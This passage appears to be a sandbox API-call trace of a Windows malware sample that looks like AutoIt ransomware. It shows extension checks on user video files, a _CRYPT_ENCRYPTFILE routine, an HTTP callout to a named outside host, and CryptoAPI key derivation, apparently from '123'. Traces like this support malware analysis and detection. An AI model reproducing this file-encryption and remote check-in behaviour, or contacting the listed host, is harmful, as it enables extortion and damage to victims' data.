lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pUCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XxDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xDpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dpd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pd6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.420] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.420] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.420] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.420] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.420] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.420] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.420] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.420] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.420] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0067.420] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.421] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.421] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.422] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.422] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.422] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.422] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.422] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.422] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.423] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.423] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.423] CloseHandle (hObject=0x0) returned 0 [0067.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.423] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0067.423] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.423] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.423] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.424] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.424] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.424] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.424] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.424] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.425] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.425] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.425] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0067.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.426] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.426] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.426] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.426] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.426] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.427] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.427] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.427] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.427] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.427] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.428] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.428] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.428] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.428] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.429] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", 